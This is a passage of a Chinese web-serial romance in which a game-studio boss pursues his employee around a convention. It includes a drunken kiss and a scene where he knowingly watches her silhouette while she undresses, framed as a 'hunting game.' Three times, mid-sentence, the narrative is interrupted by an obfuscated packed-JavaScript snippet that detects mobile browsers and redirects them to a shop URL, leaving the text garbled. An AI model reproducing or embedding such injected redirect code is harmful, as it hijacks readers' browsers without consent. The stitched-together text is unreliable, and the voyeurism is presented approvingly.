“嗯。”池修白承认得意外爽快:“关怀下属是我的职责所在。” 他本想去会展中心接她的,奈何还有其他员工在,他如果直接现身的话,太过招摇,索性就在工作室等。 “就只是关怀下属?”田妙妙小声说,秀美的面容沾染失落。 “或者,关怀同居室友?恩人之女?”池修白眼尾带笑,狐狸似的:“你想要什么身份?” 田妙妙想了想:“那还是下属吧。”其他两个身份,站在池修白的角度来看,更像是甩不掉的麻烦精,而下属听起来劳苦功高,颇有价值感。 “你也可以解锁其他的身份。”池修白意味深长地说:“只要有野心的话。” 床伴么?田妙妙苦涩地笑了下。 姜星都没能成功晋级成池夫人,她哪敢尝试。至于单纯当个光不得光的情人,她又不甘心。 还是保持现状吧。往前一步就是万丈深渊。 “就这样就挺好的。”田妙妙隐藏掉眼里淡淡的惆怅,望着他扬起一个清甜的笑,头顶的冷白灯光打在她柔软的面庞,皮肤看起来有种透明感。 池修白注意到,田妙妙脸上原本的黄气已经全部消散,她身上贫穷的印记正愈发减弱。环境会悄无声息地改变一个人,田妙妙也在越来越美,现在竟也会时不时给他带来一点惊喜感。 听见她的回复,池修白心中难免失望,他这是媚眼抛给瞎子看,白暗示了。 明明喜欢他,却迟疑不定,台阶都给她搭好了也不敢往前走一步,有这么喜欢人的吗? 池修白女人缘极好,基本上是女方主动给他发示爱信号,他选择是否接收,从来没有花心思主动追求过女生,他们这种资本优越的人,信奉女人不是追来的,而是吸引来的。 他搬去田妙妙那里住,创造更多近距离接触的机会,增加自己在她身边的存在感,按理说她应该明白他的意思,怎么能这么迟钝呢? 池修白告诫自己,再耐心一点,现在是收网期,不能着急,她会心甘情愿地走到他身边来。 “走吧,送我的好下属回去。” “谢谢,我的好老板。”田妙妙俏皮地回他一句。 * 展会开始前一天,网络和设备都调试完毕,没有任何问题,接下来就是嘉宾彩排流程。 除了主持人,还请六个coser嘉宾,负责cos目前pv里展示的那几个角色。 化妆师,摄影师,cos服,主持词,这些全都有田妙妙的参与,不论是大框架还是具体细节,田妙妙早在脑海中演练了无数遍。 彩排挺顺利的,全流程过了两遍,时间也卡得挺好。 万事俱备,就得明天开场了。 不到展会结束、拆除展台的那一刻,田妙妙脑海中那根弦始终紧绷,丝毫没有松懈。 当晚睡前,田妙妙心里堵得慌,很压抑,有种暴风雨来临前的闷躁感。 她翻来覆去没睡着,最后干脆起床,去酒柜里取出一瓶红酒,给自己倒了大半杯,端去阳台喝。 她小口小口抿着,因为渣爹是个酒鬼,她一直以来都憎恶酒精,没想到压力一大,也要求助酒精。 不多时,身后传来脚步声,不用回头就知道是谁。 夜色中,一道低沉清越的男声响起。 “躲起来喝酒,不喊我?” 33. 第 33 章 田妙妙闻声仰头,清亮的眼眸中浮起潋滟水色,面颊酡红,醉意为她素净的容颜增添一抹平日没有的殊色。 她把手中酒杯举起来,说话像撒娇:“你陪我喝。” “正有此意。”池修白右手拿着花纹古典精美的玻璃方杯,里面是加了冰块的威士忌,他抬杯跟她碰了下杯。 “你喝。”田妙妙冲他努嘴。 池修白顺从地喝了口酒,吞咽酒液时凸起的喉结上下滚动,眼睫低垂,有种不可名状的性感。 田妙妙借着酒意放肆地看他。他真好看,从眉骨鼻梁到唇峰下颚线,流畅的线条恰到好处地勾勒出他优越的骨相。 老天爷真不公平,给了他顶尖的才华和天赋,在外貌上竟也毫不吝啬。 “睡不着?”池修白不动声色地打量田妙妙。 她身上穿的是他买的淡粉色真丝睡裙,简约修身的吊带款,露出纤细的脖颈和锁骨,有种引人摧折的脆弱美感。望着她空荡荡的天鹅颈,池修白思考给她买条项链戴在上面。 视线再往下,是隆起的女性线条,意外的丰润。 人虽然瘦,该有料的地方倒也不缺。 池修白喉咙微微发干,意犹未尽地收回目光,把挂在手臂上的衬衣展开,披在田妙妙的身上。 “晚上风大,别冻着。” 田妙妙乖乖站着,任由他帮忙穿外套。衬衣还带着他的体温和气味,很清冽的香味,似无形的绸缎,萦裹着她的身躯。 酒精让她胆子大了些,她颤声,暴露脆弱:“我很紧张,睡不着觉,害怕明天会有突发情况。” 池修白抬手揉了下她头发,温声:“怕什么,就算搞砸了还有我呢。” 这话听着让人无比安心,他不再是初见时傲慢冷酷的样子,不会高高在上地鄙视她:我就知道你肯定会搞砸,工作室不需要一个毫无价值的废物,我劝你趁早离开问天。 她向来都有严重的生存焦虑,恐惧犯错,恐惧失败,恐惧自己是个不能创造价值的弱者。 即便池修白告诉她,她可以搞砸一切,田妙妙也决计不敢掉以轻心。她从来没有肆意妄为,尽情试错的资本,她的生活就像走钢丝,行差踏错就会坠入深渊。 田妙妙笑笑,继续说:“可是我都负责这么长时间了,还是希望最终能有个好结局。” “会的。”今夜的池修白意外的温柔。 “你觉得《无限异变》线下试玩的口碑会爆吗?”展会的最终目的就是这个,田妙妙迫不及待地想从他口中听到肯定的答案。 池修白低头喝了口威士忌,视线飘向窗外,天际孤悬一轮瘦月,他声音轻淡:“未必。” “为什么?”田妙妙陡然紧张,握酒杯的指间用力泛白。 池修白不打算告诉她,光希明天就要发布同类型的新游pv,专门冲着他来的,云辰既然打定主意要狙击《无限异变》,必然还有后招。说这些除了徒增压力,解决不了任何问题。 他笑了下,神情自若:“哪有什么一定能爆的游戏。” “可你做的游戏,每一款都是爆款啊。”田妙妙执拗地强调,声音听起来快要哭了。 “这倒不是,以前也做过一些试验性的游戏没有火,只不过我没用SNAKE这个身份发布而已。”池修白随口扯了个谎,希冀于能破除她心中的神话,让她放松下来。 效果不大。田妙妙猛地灌一大口酒,小脸顿时苦作一团,池修白温柔却强势地伸手,拿走她手里高脚杯。 田妙妙抗议:“你手里有酒,别抢我的!” “少喝点,微醺就行,别真醉了,明天还有一场硬仗要打。”池修白将她酒杯中剩余的红酒一饮而尽。 田妙妙深呼吸一口气,问出心底的担忧:“万一《无限异变》不达预期怎么办?” “就是个线下游戏展的小规模测试,不达预期继续改进就行了,还没到游戏上线的那天。”池修白督促她:“去睡觉,养好精神,明天我也会到场。” “你害不害怕失败?”田妙妙突然说,酒劲上来后,黑曜石般的眸子迷离起来,她因不妙的预感而恐惧。 池修白扯了下嘴角,眼底压抑着倨傲的光芒:“怕什么,我已经失败过了。” 光希被收购,《修仙世界》停服,他早已从云端跌落下来。 跌落泥泞后,再站起来就好了,否则又何来的问天工作室。 “如果再一次失败呢?”田妙妙的视线低垂,落在他拿酒杯的手上。 修长漂亮的手指罩在杯口上方,随着手腕晃动,冰块游荡在琥珀色的酒液中,轻轻撞击玻璃杯壁。 她的眼、她的心,也随着冰块晃荡个不停。 “不必害怕,没有谁能轻而易举地赢过我,就算是云辰也一样。”他仰望着夜幕,细瘦的月,稀疏的星,光怪陆离的城市夜景,都不及他眼中神采半分。 池修白唇角轻掀:“赢我会付出惨痛的代价。” 田妙妙的心跳扑通扑通,她觉得自己好像更醉了,她喜欢他自信到狂妄、仿佛掌控一切的样子。 她的生命中有太多的苦难,无数次产生过要不还是放弃吧的念头,可一闭眼想到自己随波逐流,草率嫁人生子的情形,她便如坠深渊,立马被惊醒,醒后咬咬牙继续前行。 她不知道要走多久才能抵达胜利的彼岸,她渴求勇往直前的信念,和凌驾于万物之上的勇气。 她想成为他那样的人。 即便是命运,也不能轻易赢过她。 感受到田妙妙痴痴的眼神,池修白收回目光,与她对视。 她现在的模样有点招人,谁对上那双盛满崇拜与爱意的眼睛,都忍不住想亲吻。 池修白低头,轻柔地凑近,他动作不紧不慢,甚至可以说刻意放缓。 他在给她机会逃跑。 他是耐心的猎手,而她是他的囊中之物。 田妙妙的视线落在越来越近的唇瓣上,浅薄的两片,带着淡淡的粉色。 她的脑海中一片空白,有恶魔的叫声在耳畔回响,亲上去,亲上去,亲上去…… 体内不安的躁动从脚底板一直翻涌至天灵盖,她苦苦掩藏的“不喜欢他”这件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133913|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,即将分崩离析…… 放纵吧,放纵吧,就把一切推脱给酒精。 就在即将闭眼的那一刻,摇摇欲坠的尊严强行发力,给她混沌不堪的脑海中注入一丝珍贵的清明。她不可以这样沦陷,她什么资本都没有,玩不起这样危险的游戏…… 可越来越近的唇,恍惚间化作伊甸园的苹果,持续不断地散发着蛊惑人心的致命吸引力…… 千钧一发,田妙妙终于行动了。 她攀上他的肩,踮起脚尖快速在他唇上啄了下,然后化身丛林中被惊扰的小鹿,嗖地一下快速逃进安全区。 池修白怔愣在原地,手指轻抚着唇,她太生疏了,撞上来时没有控制好力道,此刻唇上浮现出一点痛感。 清冷的双眸翻滚着欲与火,死死盯着她的卧室门,仿佛能把房门盯出两个窟窿。 招惹了,又跑掉,真是不乖。 她的心防宛若坚固的城池堡垒,需要一点点攻陷,池修白重重地深呼吸,平复体内激荡乱窜的电流。 他忽然觉得一切变得有趣起来,看她一点点沦陷落网,比沉浸式畅玩一款顶级3A大作还要有意思。 就是,别让他等太久。 池修白垂眸看了眼某处的异样,心道,迟早会从她身上加倍讨要回来。 田妙妙逃回房间后,大脑过载般停止转动,她竟很快入眠,睡得无比香甜,算是这半个月来睡眠质量最好的一天。 翌日醒来,浑身舒畅,就是前一晚的事情她有点记不太清,只记得自己好像跟池修白一起喝了点酒,然后她就回去睡觉了。 之间发生了什么,她只有很模糊的概念,早上看见身上穿着他的衬衣,田妙妙着实吓了一跳。 她身上怎么会有他的衬衣,该不会是她梦游偷来的吧?但她不记得自己有梦游这个毛病呀。估计是池修白给的,否则给她八个胆子也不敢拿。 田妙妙赶紧把衬衣脱下,原本平整无痕的衬衣,现在布满褶皱。 田妙妙把衬衣拿到客厅,歉意地跟正在吃早餐的池修白说:“衬衣是你昨晚给我的吗?不好意思,被我穿皱了,等会我送去干洗店吧。” 池修白动作一停,仔细打量她的表情,企图找出从中找出伪装的痕迹。 然而她的表情极其自然,眼神也很茫然不解,似乎是真忘了昨晚发生的事。 以后还是不要给她碰酒了,半杯红酒居然也能让她断片。 “放那吧,等会有人来收拾。”虽然田妙妙手脚勤快,但池修白没想把她当佣人,他已联系过家政公司,每周两次定期上门处理家务。 “好的。”田妙妙非常多此一举地将衬衣叠整齐,放入脏衣篓中。 “昨晚的事……”池修白徐徐出声。 田妙妙一愣,一双眼睛懵懵懂懂望着他,睫毛忽扇忽扇,“昨晚发生什么了?我记得自己喝了酒。” 池修白鼻腔哼了声,果不其然,他道:“昨晚你发酒疯了。” 田妙妙顿时警铃大作,忙问:“我做什么了?” “非礼我。”池修白冷不丁道。 34. 第 34 章 田妙妙眼睛越瞪越大,嘴巴张开,却发不出声音。 她对池修白动手动脚了?自己真的这么勇吗?池修白没打死她? “对不起。”田妙妙回过神,化身犯错的小学生,严肃地朝他鞠了一躬,表示忏悔。 池修白简直哭笑不得,早餐都吃不下了,直接气饱了。 田妙妙草草吃完早饭,池修白开车,两人直接去国际会展中心。 一路上,田妙妙不停偷瞄,观察池修白的脸色,他没有笑,俊脸阴恻恻的,显然心情不太美妙。 这可怎么办,她该怎么道歉呢,总不能说:那你非礼回来吧。 前方红灯,车子暂时停下,池修白这才开口:“偷看什么呢,一路上鬼鬼祟祟的。” 田妙妙没忍住问:“我昨晚是怎么非礼你的?” “自己想。”池修白高贵冷艳地开口,“难不成你还想回味一下?” 田妙妙缩了缩脖子,可不敢再问。 到了会展中心停车场,今日来逛展的游客意外的多,距离开场还有两个小时,空余的停车位就已寥寥无几。 停完车,一同前往《无限异变》的展台。两人一前一后,中间相隔半米,好似楚河汉界,看上去没有任何超出老板和下属的关系。 为保障展会当天人手充足,工作室几乎一半人都来帮忙,前两天开会已经将每个人所负责的事项发放下去。 田妙妙到了后,仍有不少人不太清楚自己的具体职责,来询问她要怎么做。 田妙妙一一为他们解答。 答疑完毕,开场前还要再进行一次简单的彩排。 核对嘉宾人数时,田妙妙猛地发现少了一人,她目光搜寻一圈,排除完后确定下来,赶紧问:“小鱼为什么现在还没到?” 和小鱼同个mcn机构的嘉宾这才跟她说,白晴的coser小鱼昨晚点海鲜烤串,结果食物中毒半夜送进医院了,现在还在医院挂水,本来是能赶过来的,奈何身上起了疹子,一时半会儿消不下去,这个角色有一定的露肤度,应该是没办法cos了。 这话如同晴天霹雳,田妙妙直接慌神,她万万没想到,前几次彩排都超级顺利,没想到展会当天却出了意外情况。 她这才意识到,自己做的备用方案还是不够细致,没有考虑到嘉宾临时换人一事。 田妙妙赶紧把这事汇报给池修白:“白晴的coser小鱼现在在医院,不能过来了,怎么办啊?” 池修白很镇定,直接说:“那就不cos这个角色了。” 一旁的裴文山听到后提出异议:“白晴是目前pv放出的几个角色里人气最高的,缺谁也不能缺她啊,不如找人替一下。” 田妙妙特别难堪:“对不起,我之前没有考虑到这一点,所以没有提前联系过备选的coser,是需要现在临时联系吗?” “离开场就两小时了,今天办展的那么多,高质量coser估计早就被预定完了,再说没有经过提前培训和彩排,就算来了也不太行啊。” 听裴文山这么一说,田妙妙快要急哭了,她甚至产生一种撂挑子的想法。 裴文山将她从头到尾打量一番,灵机一动,跟池修白说:“要不直接让田妙妙替一下,反正她这段时间一直跟着彩排,耳濡目染应该没问题。” 池修白看向田妙妙,他本意是直接将这个角色cos撤下,毕竟就只发过一次pv,就算人气再高,也终究只有《无限异变》的核心粉丝认识,撤了也不会怎么样,这些到现场的核心粉丝,比起角色cos,更关注的绝对是游戏试玩。 “你觉得呢?”他把决定权抛给田妙妙。 田妙妙思考片刻,咬了咬唇,下定决心后郑重点头:“我想试一下。” 这是她第一次负责重要的活动,实在不想留下有遗憾,但凡有补救的方法,她都想尝试一下,哪怕是她从来没做过的事情。 裴文山:“那正好了,你跟小鱼的身高体重差不多,你替她再合适不过了,连cos服都不用重新准备,直接穿就行。” 这也算不幸中的万幸,田妙妙稍微镇定下来:“那我先过去化妆了。” 看着她泫然欲泣却迎难而上的模样,池修白平静的心湖泛起一阵涟漪,他拍了下她的肩膀,抬手替她拭去眼尾的潮湿,出言安慰:“别紧张,去吧。” 待田妙妙走后,裴文山一肚子坏水地打趣池修白:“大庭广众之下,忍不住上手擦眼泪,你这是……已经得手了?” 池修白拿眼角睇他,面容骄矜,“还没,不急。” “哎呦,这都多久了,还没实质进展啊,你也有今天。”裴文山啧啧称奇:“我看你这回真要栽了。” “她比较慢节奏。”池修白不紧不慢地说。 裴文山不解:“她要是被动的话,你来推节奏不就好了。”反正他一贯都挺主动的。 “只有女人追我的份。”池修白故意说些欠揍的话,以此来掩盖在田妙妙身上的失利。他心道,你怎么知道我没有暗中推节奏,我连人都住过去了。 “你可真能耗,我不行,我有目标之后,顶多三天就要推进到下一步。”裴文山说。 池修白鄙视道:“呵,你这是被下半身支配了,不懂狩猎游戏的好玩之处。” 看着对方一点点迷恋上自己,一步步踏入自己编织好的网里,慢慢地,心甘情愿地沦陷,真是极具艺术性,甚至有一种残忍美感。 “你没听过一句话吗?高端的猎手往往以猎物的形式出现。” 池修白对裴文山的话不屑一顾,他不认为田妙妙是个有心机的女生,更不认为自己会被她牵着鼻子走。 池修白不喜欢人多的场合,太热闹了他会很烦,田妙妙去化妆换造型,他便去会展中心的休息室歇着。 田妙妙快步跑到化妆室,妆娘现在已经完成了其余几人的妆造,正边玩手机边等最后一人。 她看见田妙妙后,问了一嘴:“小鱼怎么还没来啊?” 田妙妙简单地解释了下,并说:“我来代替她,要麻烦你帮我化妆了,我没她那么漂亮,给你增加难度啦。” 妆娘倒是挺意外的,员工直接上岗coser,她嘟哝了句:“你们老板怎么这么抠,不花钱请新coser,居然直接压榨员工,宝宝你好惨啊。” 田妙妙摇头,不由自主地维护起来:“他没有压迫我,是我自己愿意的,怪我之前的应急方案准备的不够充分。” 妆娘指了下椅子,示意她坐下:“好吧,你放心,我肯定帮你好好画,宝宝其实你五官挺适合出cos的。” 田妙妙自嘲:“比较寡淡是吗?” 妆娘摇头:“不是,宝宝你骨相好,皮肤细腻瑕疵少,三庭五眼也很标准,再加上是淡颜,特别容易出效果,等会我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138243|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化完你就知道了。” 田妙妙羞涩一笑,继续嘴甜:“好期待哦,要是真能大变活人,亲爱的你就是我的女娲。” 妆娘给她戴上假发网,开始为她上妆。 这是田妙妙第二次被人化妆,妆娘的手法和商场柜姐的手法有很大不同,上妆步骤也很奇特,让人猜不透下一步。更恐怖的是,下手特别狠,画完眼影、眼线和卧蚕,田妙妙感觉眼妆巨夸张,甚至有些雷人。但当整个妆面都完成时,原本浮夸眼妆完全融合进全妆里,一点也不突兀,那彩色和美瞳和茂密如扇的假睫毛,竟也诡异的精致和谐。 妆娘化完后,特别得意,一边陶醉地欣赏妆面,一边感慨:“我就说嘛,宝宝你很适合cos妆,简直美萌小蛋糕,我要拍下来发抖音和小红书。” “可是我还没戴假发,好奇怪啊。”田妙妙摸了摸戴着假发网的头顶。 “没事,先拍一段素材,等会你换完cos服,戴上假发后,再拍一段,然后加上BGM,剪成转场换装,简直完美。” 妆娘录完素材后,田妙妙起身去休息区的衣柜中拿cos服。 一进休息室,田妙妙万万没想到,里面居然有人在,还是池修白。 她此刻身上穿的是自己的衣服,头上戴着假发网,脸上化着特别浓的cos妆,组合起来那叫一个诡异和惊悚。 她赶紧捂着脸,朝衣柜处走,快速解释一句:“我过来拿cos服。” 在她开门的那一刻,池修白闻声抬头,将她奇怪的装扮收入眼底。 光看头颅,妆面的存在感远超五官,一打眼很难辨认出来来者何人。 直到她抬手捂脸,开口说话时,池修白才确认,这是田妙妙。 平时她的形象一直是素净的,乃至于有点清汤寡水,头一次见到这般浓妆,池修白来了兴致,起身朝她走过去,“手放下,有什么见不得人的?” 田妙妙耳尖都红透了,她缓缓放下手,但还是不敢抬头看他,并且强调:“现在是半成品,所以比较奇怪啦。” 池修白伸手,碰到她下巴,捏住往上抬,没用多少力。 田妙妙害怕他蹭掉自己的妆面,故而相当配合地抬头。 池修白这才得以仔细观摩起她的脸。完全是两种风格,上妆的田妙妙宛如戴上一张假面,虽然视觉冲击感更强,理论上更上镜更出片,但这种美是第一眼性质的,惊艳之余也品不出更多,不如她原本的容颜更耐看。 池修白还是更喜欢她原本的样子,与妆容无关,是独属于田妙妙的样子。 “好看吗?”田妙妙紧张又期盼地开口。毫无疑问,她想从他口中听到赞美。 池修白遵从本心:“一般,不如你本来的样子。” 这是彻底把妆娘的捏脸手艺给否定了啊,田妙妙说:“怎么会,明明现在更精致漂亮啊,我感觉自己变美很多。” 池修白还是坚持:“一般,没你之前好看。” 田妙妙无语了,真不知道池修白这是夸她还是损她,妆娘都说她现在是小蛋糕好吧。 “哼,等我换好全套造型美死你。”田妙妙移开脸,不服气地撇了下嘴。 加上这份灵动表情,这张脸一下子活色生香起来,好像一张精致的二次元画报突然动了。 池修白有一瞬间的出神。 被美到的,被一个戴着假发网的卤蛋头美到。 35. 第 35 章 田妙妙从柜子里找到挂着的cos服,她看了眼池修白,道:“麻烦你回避一下,我要换衣服。” “你换。”池修白直直地看她,眼尾带笑,没有要出去的意思。 “你先出去。”她提醒。 “我不想出去,外面人多,不想被人认出来。”池修白轻轻摇头。 田妙妙蹙眉,不可置信:“难道你是社恐?” “怎么,不可以吗?”池修白回得理直气壮。 田妙妙陷入沉思,池修白好像的确没有多少业余活动,在工作和加班之余,除了不得已的应酬,他都是宅在家里比较多,看起来的确很像一个社恐。 但他的开会发言,沟通交流,社交往来,又完全看不出一点的怯懦和紧绷,以至于田妙妙很难将他和社恐联系起来。 田妙妙妥协了。 今天外面的人确实挺多的,他想躲在这里,那就躲着吧。 “我去卫生间换衣服。”说完,田妙妙抱着cos服打算出去。 池修白拦住她:“卫生间不干净,把衣服弄脏了怎么办?再说,这个衣服看着挺复杂难穿的,中途万一需要帮忙,你都找不到人。” 他说的倒也在理,田妙妙想了下,说:“那我给顾念瑶发消息,让她陪我一块去。” “她在整理赠品物料,根本没空。”休息室里有一道翠竹屏风,池修白示意了一下:“你就在屏风后面换吧。” 田妙妙思索片刻,既然有遮挡物,那就在这换吧,早换完早去戴假发,时间紧任务重,不能再耽搁。 “你不许偷看。”田妙妙抱着衣服走到屏风旁边,还不忘回头提醒一句。 池修白低头刷着手机,头也不抬地嗤笑:“你就算在我面前脱光,我都不会看一眼。” 屁嘞。田妙妙在心里吐槽一句。 等田妙妙进入屏风后,刚发表完豪言壮语的池修白,从手机屏幕中缓缓抬头,神情自若地看向屏风。 好像完全不觉得,偷看是一件轻浮不端的事。 屏风虽能遮挡视线,但挡不了光线,田妙妙的轮廓勾勒在屏风上,由于现在是白天,轮廓并不明显,只有清浅的阴影。 这模糊的阴影好似黑洞漩涡,将他投来的视线全部吞吃入腹。 他竟然会这么变态地窥视一个年轻女生,莫说旁人,连他自己都无法理解这个行为。 或许是和田妙妙拉扯太久,暂无定数,让他开始心浮气躁了。 田妙妙换衣服的时候,没空注意屏风外,等脱下身上的衣物,去拿搭在屏风顶部的cos服,她的目光才转向屏风。 这一看不打紧,这屏风居然是透光的,她能透过屏风看到池修白端坐在沙发上的轮廓,只是看不清面容。 如果他朝屏风看过来的话,是不是也能看到她的轮廓? 这个认知惊得她措手不及,手里一个没拿稳,cos服连同方才脱下来的衣服,一齐掉了下去—— 十分悲催地掉到了屏风外面! 田妙妙崩溃了,她现在没穿衣服啊啊啊…… 完蛋,是要溜出去拿吗?万一池修白抬头看过来怎么办,岂不是要被看光了? 田妙妙此刻一万个后悔,为什么要在这里换衣服?! 在田妙妙纠结,要不要出声求救池修白,帮忙捡衣服的时候,池修白突然间站起身…… 田妙妙的心脏瞬间紧缩,仿佛被一只无形的大手死死攥住。 他看到了是吗,他要过来了吗? 衣服掉下来的那一刻,池修白嘴角勾了下,这个田妙妙真是毛手毛脚,这点事情都做不好,他等着她出声求救,而她却呆如木鸡,傻傻站在原地,甚至还试图往屏风外走。 她是打算自己出来拿吗,这里可是休息室,谁都可能推门进来,她可真是心大。 池修白起身后,首先朝门的方向走去,毕竟当务之急是要把门反锁。 看见池修白竟转身朝门走去,田妙妙急得直冒火,若她是白磷,现在铁定已经燃烧了。 他这是有事要出去吗? 眼看池修白走到门前,手臂朝门把手方向抬了起来,下一秒估计要开门离去,田妙妙再也按捺不住,忙出声喊道:“求求你别走!帮我拿一下衣服!” 可算憋不住了。 池修白嘴角高高翘起,伸手快速反锁了门,然后转身朝她走去。 注视着那道瘦长清俊的身影越来越近,田妙妙的心跳也越来越快,脚步声一下一下仿佛踩在她的心尖上。 她赤条条只剩内裤,而他却衣冠楚楚,两人只隔着一道屏风。 池修白停在那摊衣物前,在cos服和换下来的衣服之上,赫然映入眼帘的是一件白色bra。 那抹白好似沾染雨露的山茶花,清凌凌的,散发难以言喻的圣洁。 这圣洁亦催生隐密的欲望和无尽的诱惑。 他呼吸一滞,俯身将地上的衣物全部捡起,那抹白色贴在他的手背上,疯狂地引诱着他。他强忍着没将脸贴近,去细细嗅它的味道。一定很香,他想。 田妙妙从屏风侧面探出一截纤细手臂,白生生的晃眼,“麻烦把衣服递给我一下。” 池修白将一大摞衣物放在她手上。 她一只手太小,抓不住那么多衣物,五指开开合合,企图全部拿起却失败。 池修白干脆将手臂往前探,递进屏风里,供她自行挑拣。 田妙妙看到衣物后,脸瞬间红起来,触电似的把bra抢过来。 贴身衣物怎么暴露出来了,她明明记得把它包裹在上衣之中的,掉下去之后竟然散开了。 来不及多想什么,田妙妙赶紧把剩下的衣物一把抱过来。 “谢谢。”她仓皇道谢。 池修白喉间发出一声低沉短促的应答声,像是在压抑着什么。 他没有离去,就停在原地,仿佛随时能闯进来。 田妙妙已经无暇顾忌这个,顶着这份威压,手忙脚乱地穿上cos服。 cos服的结构较为复杂,越急迫越穿得乱七八糟的,好不容易套在身上,遮蔽住大片春光,后背的纽扣却缠住一节流苏,越拽越紧。 她在胡乱解扣子时,动作愈发急躁,手肘不事地撞击屏风。 在她气得叫出声后,屏风外的池修白一言不发地进来了。 田妙妙胸腔起伏不定,她恼火地说:“烦死了,连cos服都欺负我。” 这套cos服非常修身,身体的曲线被完美地勾勒出来,衣服下摆是前短后长,从正面可以看到笔直的一双美腿。 不得不说,她的身材比她的长相出色很多,很像常年习舞的舞蹈生身材。 快速欣赏完收回目光后,池修白方才开口:“转过去,我帮你解。” 田妙妙认命般转身。 池修白看向她后腰处缠上流苏条的扣子,第一反应就是她的腰真细,两手即可丈量的程度。 很想掐上去,但忍住了。他并不是火急火燎的毛头小子,控制欲念对他而言并不难。 他开始耐心细致地解纽扣上的流苏,一根一根整理细丝,动作慢条斯理。 手背难免磨蹭到后腰,田妙妙后背大片发麻,那股痒意让她忍不住打了个颤。 这简直是一场温柔的酷刑。 “好了。”池修白将流苏梳理好,轻声开口。 “谢谢。”田妙妙迅速和他拉开距离。 池修白再度从头到脚将她瞧了遍,夸了句:“版型不错,颜色蛮适合你。” cos服主色系是粉色,挺活泼的,她平时穿的衣服多是无聊的黑白灰,鲜少尝试亮丽跳脱的颜色。 她挺喜欢白晴这个角色的设计,衣服好看,有一定露肤度却并不恶俗,还很显身材比例。 她换上角色的高跟鞋,由于不熟练走起路来僵硬不自然。 但她等会要上台互动,必须要快速适应高跟鞋。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144043|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 田妙妙离开时,回头问了句:“你今天要一直待在这里吗?” 池修白摇头,无奈一笑:“没这么好命。” 他来展会这边,自然有很多事情要做,主要是看玩家试玩的反馈,以及接待投资人、洽谈商务等等,当然投资和商务并不一定有。 不过,现在又多了一件事,看田妙妙的cos互动表演。 田妙妙提着裙摆,小心翼翼走回化妆室。 妆娘看见她后,眼睛一亮,盛赞起来:“宝宝你好瘦,身材真好,比小鱼穿得还好看。” 田妙妙给她夸得有点不好意思。 她不擅长展示自己的优势,更别提利用优势来为自己谋取利益。 “没有啦。”田妙妙腼腆地笑了下。 妆娘把假发取过来,顺了顺毛发,小心翼翼戴到田妙妙头上,用几支黑色细夹子固定好。 待全副武装后,田妙妙失神地看着镜子,里面的女生呈现出一种繁复而陌生的美丽,她不敢相信那是自己。 妆娘拿手机录变装素材,她挑了一个热门的变装视频给田妙妙看:“宝宝你模仿一下视频后半段。” 视频很短,变装后动作比较简单,主要是眼神和表情。 田妙妙看明白了,冲妆娘点点头。 妆娘倒数三声后,开始录制视频,田妙妙配合模仿刚才看的短视频。 妆娘录了几秒后,叫停:“宝宝不行,你没放开,眼神一定要坚定,要摄人心魄。” “好的,我再试一次。”田妙妙重新顺了下动作。 这一次,她尽量瞪着眼睛,让自己看起来更不好惹。 妆娘还是不满意:“宝宝,你有点不抬自然,太凶了,不够媚。” 田妙妙泄气,她尴尬地搓了下手掌,“抱歉,我不太会。” “宝宝,我感觉你不够自信。”妆娘一针见血指出。 田妙妙讪笑,不得已承认:“是的,我比较怯场。” “那你等会上场要和陌生人互动,不得吓死啊。” “没办法,都到这一步了,再不想也得上场。”田妙妙本就硬着头皮顶替原coser的,赶鸭子上架容不得她产生后退的念头。 生活就是这样,百般磋磨她,她永远要克服恐惧,去做不喜欢也不擅长的事情。 美名其曰,这是生活给她的考验。 妆娘实在是不想放弃这条变装视频,“别害怕宝宝,我们再录一次吧。自信是可以伪装出来,想象一下,你现在是风华绝代的大美人,对面是你最想征服的男人,尽情释放你的魅力吧,用你的眼神勾引他,让他拜倒在你的石榴裙下。” 田妙妙一边做动作,妆娘一边描述画面,方便让她带入场景中。 最想征服的男人…… 她的眼前一下子就蹦出池修白那张脸,优越感满满的帅脸,自上而下傲慢地俯视她。 脑海中不断回荡着低语声,诱惑他,征服他,让他沦陷,低下那高高在上的头颅…… 有了具象化的目标,田妙妙的眼神不再飘浮怯弱,眼里的神采慢慢聚拢,像一道耀眼的圣光,坚定地对上手机镜头。 “很好,状态很棒,继续保持,头不要动,眼神朝旁边转一圈,再收回来。”妆娘终于满意她的表现,指挥她进行下一步的动作。 田妙妙照做。 视线从手机镜头缓缓右移,散发出漫不经心的魅惑感。 突然间,她的余光瞥见,化妆室中不知何时进来了一个人。 那人倚着门,抱着手臂,头微微侧着,笑盈盈看向她,一片风流不羁的潇洒模样。 不是池修白还能是谁? 他朝她投射来的眼神,和她此刻表现出的一样。 